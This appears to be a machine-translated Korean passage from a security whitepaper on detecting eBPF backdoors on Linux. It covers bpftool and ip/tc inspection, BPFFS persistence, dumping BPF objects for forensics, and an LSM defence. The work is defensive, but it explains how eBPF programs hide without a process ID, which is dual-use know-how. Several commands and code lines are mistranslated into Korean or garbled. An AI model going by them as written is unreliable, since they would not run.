보안 엔지니어는 시나리오에 따라 서로 다른 추적 전략을 세워야 하는 경우가 많습니다. 이 백서에서 제공하는 추적성 방법은 모두 eBPF의 관련 인터페이스를 사용합니다:악성 프로그램이 검사 도구보다 먼저 실행된 경우 결과가 위조될 가능성이 있습니다..

짧은 수명 주기

BPF 프로그램 유형 표현

  • k[ret]probe
  • u[ret]probe
  • 트레이스포인트
  • raw_tracepoint
  • perf_event
  • 소켓 필터
  • so_reuseport

특징은 FD 관리, 커널 자동 정리를 기반으로 하며 시스템 안정성에 더 좋습니다. 이 프로그램 유형의 백도어는 문제 해결 중 사용자 상태 프로세스로 명확하게 특징지어집니다. 그리고 시스템에서 실행 중인 BPF 프로그램 목록에서 얻을 수 있습니다.

BPFTOOL 도구

eBPF 프로그램 목록

명령BPFTOOL 프로그 쇼뿐만 아니라BPFTOOL 프로그 도움말더 많은 매개변수 보기.

Linux eBPF 공격과 직면한 보안 과제

결과에서 현재 시스템에서 실행 중인 BPF 프로그램, 연결된 BPF 맵 ID 및 해당 프로세스 정보를 볼 수 있습니다. 또한 주의 깊은 독자는 결과에서 XDP 데이터에 프로세스 ID 정보가 없다는 것을 알 수 있으며, 이에 대해서는 나중에 설명합니다.

eBPF 맵 목록

명령BPFTOOL 지도 표시뿐만 아니라bpftool 맵 도움말더 많은 매개변수를 볼 수 있습니다.

Linux eBPF 공격과 직면한 보안 과제

지도 정보를 확인하여 프로세스 정보를 수정할 수 있습니다. 또한 맵의 데이터를 내보내 악성 프로세스 동작을 식별할 수 있습니다. 이에 대해서는 "포렌식" 섹션에서 설명합니다.

bpflist-bpfcc

bpflist-bpfcc -vv명령을 실행하면 현재 서버에서 실행 중인 "일부" BPF 프로그램 목록을 볼 수 있습니다. 테스트 환경을 예로 들어 보겠습니다:

root@vmubuntu:/home/cfc4n/project/xdp## bpflist-bpfcc -vv
kprobes를 엽니다.

업로브를 엽니다.

PID 통신 유형 수
1 시스템드 프로그 8
10444 EHIDS MAP 4
10444 EHIDS PROG 5

시스템 프로세스 systemd가 8개의 prog 프로그램을 시작하는 것을 볼 수 있습니다. ehids 프로세스는 5개의 prog로 4개의 eBPF 맵을 생성하지만 실제로는 앞의 프로세스도 실행합니다.IP 링크 세트 dev ens33 xdp 객체 xdp-example_pass.o명령은 여기에 표시되지 않습니다. 이는 이 명령의 출력이 모든 bpf 프로그램, 맵에 해당되는 것은 아니라는 의미입니다.

Linux eBPF 공격과 직면한 보안 과제

긴 수명 주기

BPF 프로그램 유형 표현

  • XDP
  • TC
  • LWT
  • CGROUP

위에서 언급한 ip 명령으로 BPF 바이트코드를 로드하는 시나리오에서 BPF 도구가 쿼리할 수 없거나 정보가 누락되는 경우가 일반적입니다. 그 이유는 작동 원리를 통해 알 수 있습니다.

ip 명령은 BPF 원리를 로드합니다.

BPF 객체의 수명 주기는 참조 타이머를 사용하여 관리되며, 이는 모든 BPF 객체가 따라야 하는 일반적인 원칙입니다. 이와 대조적으로 긴 수명 주기 프로그램 유형은 커널 공간에 매개 변수를 전달하는 사용자 제어 프로그램으로 FD를 시작한 다음 커널 공간에서 유지 관리합니다.

앞서 언급한 IP 명령으로IP 링크 세트 dev ens33 xdp 객체 xdp-example_pass.o예를 들어, ip 명령의 매개변수에는 bpf 바이트코드 파일의 이름이 포함되어 있고, ip 프로세스가 .o 바이트코드의 FD를 열고, NETLINK를 통해 커널에 IFLA_XDP(하위 유형 IFLA_XDP_FD) 유형의 메시지를 보내고, 커널이 dev_change_xdp_fd 기능을 호출하면 네트워크 카드가 FD를 인수하고 참조 카운터가 증가하며 사용자 공간의 ip 프로세스는 다음을 수행합니다. 가 종료되고 BPF 프로그램이 계속 작동합니다. 커널 소스 코드는 다음을 참조하세요:elixir.bootlin.com/linux.

이 문서에서는 패킷 그래핑을 수행하여 IP 프로그램이 XDP 프로그램 유형과 연관되어 있는지 확인했습니다:

17:53:22.553708 sendmsg(3, {
{
msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000},
msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, msg_namelen=12,
msg_iov=[
{
iov_base={
{nlmsg_len=52, nlmsg_type=RTM_NEWLINK, nlmsg_flags=NLM_F_REQUEST|NLM_F_ACK, nlmsg_seq=1642672403, nlmsg_pid=0}, { nlmsg_family=NLM_F_REQUEST|NLM_F_ACK, nlmsg_seq=1642672403, nlmsg_pid=0}
{ifi_family=AF_UNSPEC, ifi_type=ARPHRD_NETROM, ifi_index=if_nametoindex("ens33"), ifi_flags=0, ifi_change=0},
{
{ nla_len=20, nla_type=IFLA_XDP}, {
[
{{nla_len=8, nla_type=IFLA_XDP_FD}, 6}, {{nla_len=8, nla_type=IFLA_XDP_FD}, [ [
{{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST}
]
}
},
iov_len=52
}
],
msg_iovlen=1,
msg_controllen=0,
msg_flags=0
}, 0) = 52

IFLA_XDP_FD 뒤의 FD 파라미터가 6인 것을 확인할 수 있습니다. 마찬가지로 XDP 프로그램을 삭제하려면 다음과 같이 NETLINK 패키지 구성에 해당하는 FD를 -1로 설정해야 합니다:

17:55:16.306843 sendmsg(3, {
{
...
{nla_len=20, nla_type=IFLA_XDP}, { ...
[
{{nla_len=8, nla_type=IFLA_XDP_FD}, -1}, {{nla_len=8, nla_type=IFLA_XDP_FD}, {}
{{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST}
] }
...
}, 0) = 52

IP 명령 그 이상.TC 명령 분류기 또한 BPF 프로그램을 지원하여 BPF 프로그램을 분류기로 로드하고 훅 포인트에 진입/진출하는 이온을 작동합니다. 이 원리는 IP와 유사하며, NetLink 프로토콜이 커널과 통신하고 네트워크 카드가 BPF 개체 카운터를 유지 관리합니다.

감지 메커니즘

기본 ip, tc 및 기타 명령을 사용하여 NIC에서 로드한 BPF 개체를 확인합니다.

  1. IP 링크 표시
  2. TC 필터 쇼 개발 [카드 이름] [인그레스|이그레스]

Linux eBPF 공격과 직면한 보안 과제

bpftool 명령을 사용하여 다음을 확인합니다.

bpftool net show dev ens33 -p명령을 사용하여 네트워크 관련 eBPF 후크 포인트를 볼 수 있습니다.

CGROUP에 대한 BPF_PROG_TYPE_CGROUP_SKB 및 BPF_PROG_TYPE_CGROUP_SOCK 유형 프로그램의 로딩은 bpftool prog show로 확인할 수 있습니다. 라이프사이클이 긴 BPF 프로그램과 짧은 BPF 프로그램의 차이점은 사용자 공간 프로세스 PID 정보가 없다는 것입니다. 이는 다음 그림에 나와 있습니다:

Linux eBPF 공격과 직면한 보안 과제

BPFFS

앞서 언급한 방법 외에도BPF 파일 시스템BPFFS는 BPF 프로그램을 백그라운드에서 계속 실행할 수 있는 방법이기도 합니다. 사용자 공간 프로세스는 원하는 이름을 사용하여 BPF 프로그램을 BPFFS에 고정하고 BPFFS가 자동으로 BPF 개체의 참조 카운터를 증가시켜 백그라운드에서 활성 상태로 유지할 수 있습니다. 사용 중에는 bpf_obj_get("BPFFS 경로")을 사용하여 BPF 개체의 FD를 가져오기만 하면 됩니다.

Linux의 BPFFS 유형은 BPF_FS_MAGIC이며, 기본 디렉토리 /sys/fs/bpf/는 사용자 지정 수정이 가능하지만 파일 시스템 유형이 unix.BPF_FS_MAGIC인지 확인해야 합니다.

탐지 아이디어 측면에서 가상 파일 시스템의 유형이 unix.BPF_FS_MAGIC인지 여부에 초점을 맞춰야 합니다.

Linux 시스템에서는마운트 -t bpf를 클릭하여 시스템이 중단되는 모든 파일 형식과 해당 파일 형식에 BPFFS 유형이 포함되어 있는지 확인합니다.

Linux eBPF 공격과 직면한 보안 과제

BPFFS의 디렉터리를 결정한 후에는 디렉터리의 마운트 지점에서 이상 징후가 있는지 살펴봅니다.

포렌식

커널 로드 BPF 객체 내보내기

bpftool 도구는 프로그를 내보내고 FD 아이디로 맵을 만들 수 있습니다.

BPF 프로그램

opcodevisuallinum 및 기타 형식을 내보낼 수 있으며 호출 관계 다이어그램을 생성할 수 있습니다. 특히 bpftool의 도움말 파일을 볼 수 있습니다.

root@vmubuntu:/home/cfc4n# bpftool prog 도움말
bpftool prog 덤프 xlated PROG [{ 파일 FILE | opcodes | visual | linum }]
bpftool prog 덤프 jited PROG [{ 파일 FILE | opcodes | visual | linum }]

BPF 지도

프로그와 마찬가지로 bpftool을 통해 콘텐츠를 내보낼 수 있으며 JSON 형식의 콘텐츠가 지원됩니다.

root@vmubuntu:/home/cfc4n# bpftool 맵 덤프 아이디 20
[{
        "value": {
            ".rodata": [{
                    "target_ppid": 0
                },{
                    "uid": 0
                },{
                    "payload_len": 38
    ...

Linux eBPF 공격과 직면한 보안 과제

BPFFS

BPFFS 유형 BPF 개체는 백그라운드 실행에 넣는 것이 더 편리 할 수 있지만 사용자 공간 프로그램을 종료 할 수 있지만 다시 읽을 수도 있지만 포렌식에도 큰 편의를 제공합니다. bpftool 명령은 내보내기 경로에서 BPFFS 파일 시스템에 고정 된 것을 지원합니다. 매개 변수는 약간 다르므로 자세한 내용은 bpftool 도움말을 참조하세요.

Linux eBPF 공격과 직면한 보안 과제

커널에서 로드되지 않은 BPF 객체

백도어 루트킷의 사용자 공간 프로그램이 위치하면 BPF 바이트코드가 반드시 호출됩니다. 바이트코드 내용은 일반적으로 별도의 파일에 배치되거나 현재 프로그램에 바이트코드로 컴파일됩니다. 이 또한 IDA와 같은 디컴파일러 도구를 사용하여 관련 바이트 스트림을 찾아서 내보내기만 하면 됩니다.

이 문서의 데모 비디오에 있는 ehids 프로세스를 예로 들어 설명한 후GitHub/ehids/ebpfmanager 순수 Go eBPF 모듈 관리자 패키지는 더 많은 경계를 배포할 때 BPF 바이트코드를 로드하고, Gzip 압축을 Go 코드의 변수로 사용하기 위해 github.com/shuLhan/go-bindata/cmd/go-bindata 패키지를 사용할 것입니다.

IDA Pro가 로드되면 .noptrdata 세그먼트 부분에서 이 코드를 볼 수 있으며 시작 주소는 0000000000827AE0이며 내보낸 후 압축을 풀면 원본 BPF ELF 파일 내용을 복원할 수 있습니다.

Linux eBPF 공격과 직면한 보안 과제

BPF 유저랜드마다 구현이 다르고 클래스 라이브러리도 다르기 때문에 정적 분석은 연습하기 어렵습니다. 그런 다음 동일한 환경을 시뮬레이션하고, 동적으로 실행하고, BPF syscall을 미리 연결하고, FD가 설정된 위치를 찾을 수 있으며, BPF의 ELF 파일을 내보낼 수도 있습니다.

바이트코드 분석

BPF 바이트 코드 자체도 ELF 형식이며, 형식 명령어만 약간 다릅니다. 디컴파일러 도구인 IDA 프로도 지원할 수 있으며, 외국 보안 엔지니어들은 파이썬 플러그인을 오픈 소스화합니다:eBPF IDA Proc 를 클릭하고 이를 분석한 기사를 작성했습니다:블랙베리의 향상된 IDA 프로세서 툴을 사용한 Ebpfkit 루트킷 리버스 엔지니어링 관심 있는 학생은 읽어볼 수 있습니다.

Linux eBPF 공격과 직면한 보안 과제

방어하는 방법

침입 탐지 외에도 네트워크 보안 시나리오에서 eBPF를 사용하면 방어용으로도 사용할 수 있습니다. LSM PROBE 후크는 관련 기능을 제공합니다. 예를 들어, 컨테이너 이스케이프 시나리오의 가장 명백한 특징은 "부모-자식 프로세스" 네임스페이스 불일치이며, 자식 프로세스 생성이 완료되면 이 기능이 일치하는지 확인하고, 프로세스 생성 함수의 반환 값을 커버하기 위해 EPERM을 반환하여 방어의 목적을 수행합니다. 커널 모듈 및 기타 방어 구현과 비교하여 eBPF 구현은 더 안전하고 안정적이며 신뢰할 수 있으므로 소스에서 컨테이너 이스케이프 문제를 해결합니다.

마찬가지로 이 백서에서는 eBPF가 바이너리 계층을 위한 최고의 가상 패치, 핫 업데이트 솔루션이라고 주장합니다.

Linux eBPF 공격과 직면한 보안 과제

LSM_PROBE(bpf. int cmd. union BPF_ATTR *ATTR, 서명되지 않은 int 크기)
{
    반환 -EPERM.
}

시스템 구성에 대한 특정 요구 사항이 있으며, CONFIG_BPF_LSM=y, CONFIG_LSM 및 기타 구성 내용에는 bpf 등이 포함되어야 하며, 자세한 내용은 다음을 참조하세요.BCC 클래스 라이브러리 데모 lsm 프로브 .

엔지니어링 실현

연습

연습을 시작하려면 BCC의 클래스 라이브러리를 사용해 보세요:GitHub/BCC 및 C로 작성된 사용자 공간 프로그램의 다양한 데모 예제를 제공합니다.BPF 애플리케이션 데모 .

클래스 라이브러리 선택

엔지니어링, 프로젝트의 품질, 안정성, R&D 효율성 요건을 충족하기 위해 Cilium의 순수 Go eBPF 라이브러리를 권장하며, Cilium의 공식 보증을 받은 Datadog의 에이전트 제품도 이 라이브러리를 사용하고 있음을 확신할 수 있습니다.

이 백서에서 언급하는 제품은 실리움의 eBPF 라이브러리를 추상적으로 래핑하여 구성 가능하고 편리하게 eBPF 프로그램을 관리할 수 있도록 하는 Datadog을 의미합니다. GitHub 저장소:EHIDS/EBPF매니저 를 사용하실 수 있습니다.

Linux eBPF 공격과 직면한 보안 과제

물론 Trace와 같은 제품처럼 libbpf 패키지로 제공되는 Go 라이브러리를 사용하여 구현할 수도 있습니다.

시스템 호환성 CO-RE

eBPF의 등장은 커널 코드 작성의 문턱을 크게 낮췄으며, 높은 보안, 사용자 친화적인 로딩 방법, 효율적인 데이터 상호 작용으로 인해 eBPF는 많은 관심을 받고 있습니다. 그러나 기존 커널 모듈을 작성하는 것과 마찬가지로 커널 상태 함수를 개발하는 데는 지루한 적응 테스트 작업이 수반되며, 리눅스의 수많은 커널 버전은 적응을 더욱 어렵게 만들기 때문에 BTF가 등장하기 전부터 오랫동안 비판을 받아왔던 bcc + clang + llvm 방식도 마찬가지입니다. 프로그램이 실행될 때 컴파일되고 대상 머신은 clang llvm 커널 헤더 및 기타 컴파일 환경을 설치해야 하며, 컴파일은 또한 많은 CPU 리소스를 소비하므로 일부 고부하 머신에서는 허용되지 않습니다.

따라서 BTF & CO-RE는 갑자기 등장했으며, BTF는 전통적인 방식 인 디버그 정보가 매우 커지기 전에 Linux 커널이 일반적으로 디버그 기호를 끄고이 문제를 해결하기 위해 BTF가 등장하여 디버그 정보의 크기를 크게 줄여 디버그 정보를 전달하는 프로덕션 시나리오 커널을 가능하게 만드는 방식을 설명하는 일종의 디버그 기호로 이해할 수 있습니다.

다행히도 BTF & CO-RE를 사용하면 개발자가 많은 적응 노력을 절약 할 수 있지만이 기술은 아직 개발 중이며 구조 부재가 하부 구조로 이동하는 등 처리 할 수없는 시나리오가 여전히 많으며 여전히 수동으로 문제를 해결해야하며 BTF 개발자는 프로그램 처리의 다양한 시나리오를 설명하는 기사도 작성했습니다.BPF-핵심 참조 가이드.

대규모 프로젝트

해외에서는 클라우드 네이티브 제품 분야가 더 빠르게 발전하고 있으며, Cilium을 비롯한 여러 eBPF 기반 제품이 등장했습니다,데이터독 네트워크 오케스트레이션, 네트워크 방화벽, 추적 및 위치 확인, 런타임 보안 등 다양한 분야에 적용된 팔코, 카트란 등. 이러한 대규모 프로젝트의 R&D 경험을 통해 멀티 시스템 호환성, 프레임워크 설계, 프로젝트 품질, 모니터링 시스템 구축 등 제품 구축에 박차를 가할 수 있는 노하우를 배울 수 있습니다. 이 글에서는 탐지 및 방어에 중점을 두었으며, 엔지니어링 및 구축과 관련된 경험은 다음 글에서 공유할 예정입니다.

요약

클라우드 네이티브의 급속한 발전으로 eBPF 구현 소프트웨어와 실행 환경은 점점 더 대중화될 것입니다. 그리고 eBPF의 악의적인 악용은 점점 더 보편화될 것입니다. 국내외 상황을 볼 때 이 방향에 대한 해외 연구는 국내보다 훨씬 앞서 있습니다.다시 한 번 네트워크 보안 제품에 eBPF 관련 위협 탐지 기능을 최대한 빨리 탑재할 것을 모든 분들께 촉구합니다..

이 기사에서는 제품 개발, 엔지니어링 구성 및 기타 콘텐츠의 방어 및 탐지에 대해 언급 한 eBPF 기술을 기반으로 한 악의적 인 악용 및 탐지 메커니즘에 대해 논의했으며 다음 기사에서 공유 할 예정이니 기대해 주시기 바랍니다.

저자 프로필

메이퇀 정보 보안의 첸 치, 양 이, 신 보. 모두 메이퇀 정보 보안 소속입니다.

참고 문헌

 

SnowFlake의 원본 기사, 전재 시 출처 표시: https://cncso.com/kr/리눅스-ebpf-공격-및-방어와-보안-html

좋다 (0)
이전의 4/3/2024 오후7:45
다음 2024년 3월 11일 오후1:46

관련 제안